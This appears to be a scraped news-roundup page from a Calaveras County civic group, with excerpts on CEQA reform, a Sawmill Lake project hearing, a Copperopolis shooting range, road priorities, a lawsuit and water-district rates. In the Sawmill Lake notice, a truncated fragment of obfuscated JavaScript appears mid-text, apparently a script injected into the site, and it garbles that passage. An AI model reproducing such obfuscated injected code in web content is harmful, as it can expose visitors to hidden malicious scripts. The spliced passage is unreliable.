CEQA overhaul puts lawmakers on tightrope

At the urging of Gov. Jerry Brown and major business groups, some of the most influential legislators in Sacramento are trying to fix the California Environmental Quality Act. Lots of luck with that. Many of the law’s defenders say privately that provisions permitting lawsuits are misused. But CEQA’s protectors include organized labor, plaintiffs’ lawyers and environmentalists, the foundation of the Democratic Party’s base,... Read More

The Calaveras County Board of Supervisors will hold a public hearing on the Sawmill Lake Project in Copperopolis on Tuesday, February 26, 2013 at 1:30 pm in the afternoon (or soon thereafter). The hearing will be held at:

Calaveras County Board of Supervisors Chambers Government Center 891 Mt. Ranch Road San Andreas, California 95249 Please read CAP’s comments to the Planning Commission regarding Sawmill Project: Sawmill to P C 12-12-12 fin For planning information on the Sawmill Project go to Calaveras County Planning Department function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

Copper shooting range has compliance issues

By James DeHaven The Calaveras Enterprise, Tuesday, January 29, 2013 Calaveras County may look to shut down an unpermitted Copperopolis shooting range this month, the first to see such action since gunfire was broadly exempted under a county noise ordinance passed by supervisors in September. Calaveras Tactical, which has operated since last May on land zoned for agricultural use, remains subject to county public nuisance code, explained county Planner... Read More

Sacramento County Board of Supervisors reverses decades of smart growth planning Overnight

Posted February 6, 2013 in Living Sustainably, Solving Global Warming When people criticize California for being stuck in the ‘60s, they’re usually talking about hippies and flower power. Yet last week, the Sacramento County Board of Supervisors took us in a suburban sprawl time machine back to the 1960s with their approval of the Cordova Hills project. Cordova Hills is nothing less than old sprawl wine in a barely new bottle, straight from the... Read More

Special-event permits on supervisors’ agenda

Posted: Friday, February 8, 2013 8:47 am Special-event permits on supervisors’ agenda 0 comments Next Tuesday’s Board of Supervisors meeting will find Calaveras County supervisors recognizing the eighth annual Calaveras County Kindness Week, running Monday, Feb. 11, until Sunday, Feb. 17. Blue ribbons will be distributed throughout the county by government and educational organizations. The ribbons act as a visual reminder to carry out random... Read More

Wagon Trail tops list of road priorities

Calaveras County transportation projects for 2013 are about to get rolling. The Calaveras Council of Governments, the county’s lead transportation planning and funding agency, held its first 2013 meeting and annual orientation Wednesday evening in the Board of Supervisors Chambers in San Andreas. Supervisors Cliff Edson and Debbie Ponte were sworn in as two of the newest members of the council, taking over for former supervisors Tom Tryon and Gary... Read More

Civil suit against Nemees proceeds New owners want water pump returned

By Joel Metzger |The Calaveras Enterprise I Posted: Tuesday, January 29, 2013 8:54 am In a ruling announced last week, Calaveras Superior Court Judge John E. Martin allowed two parts of a civil lawsuit filed against Mike and Michelle Nemee, former owners of Trinitas golf course, to move forward – an accusation of trespassing and conversion. Conversion is any unauthorized act that deprives an owner of personal property without his or her consent. “We... Read More

Rivers and Water

Delta plan’s one glaring omission: the Delta By Michael Fitzgerald January 27, 2013 Record Columnist Gov. Jerry Brown snubbed the Delta region in his annual State of the State address this week. Sometimes it seems Brown has it in for us. The governor’s record can be read as the actions of a man who feels toward our region something between indifference and outright hostility. Here’s a telling speech excerpt. “Central to the... Read More

Lode arts center killed in emotional vote

By Dana M. Nichols Record Staff Writer January 23, 2013 12:00 AM SAN ANDREAS – The Calaveras High School band will never play the national anthem in a 500-seat performance hall once proposed for the campus in San Andreas. The school’s choirs won’t raise their voices there. And drama students won’t stage “Annie” or “Oklahoma.” In an emotional vote Tuesday night, a divided Calaveras Unified School District... Read More

Comments on CCWD (Calaveras County Water District) Financial Issues

Op-Ed by Dennis Dooley, President of CCWD The following article is my thoughts about the cost and complexity of CCWD. These are my thoughts and I am not speaking for the Board or the staff, but I think that they will generally agree with what I write. One of the most common questions I am asked is why are our rates so high, and secondly, are you out of your mind even considering raising rates? The CCWD District is a very large district and has so... Read More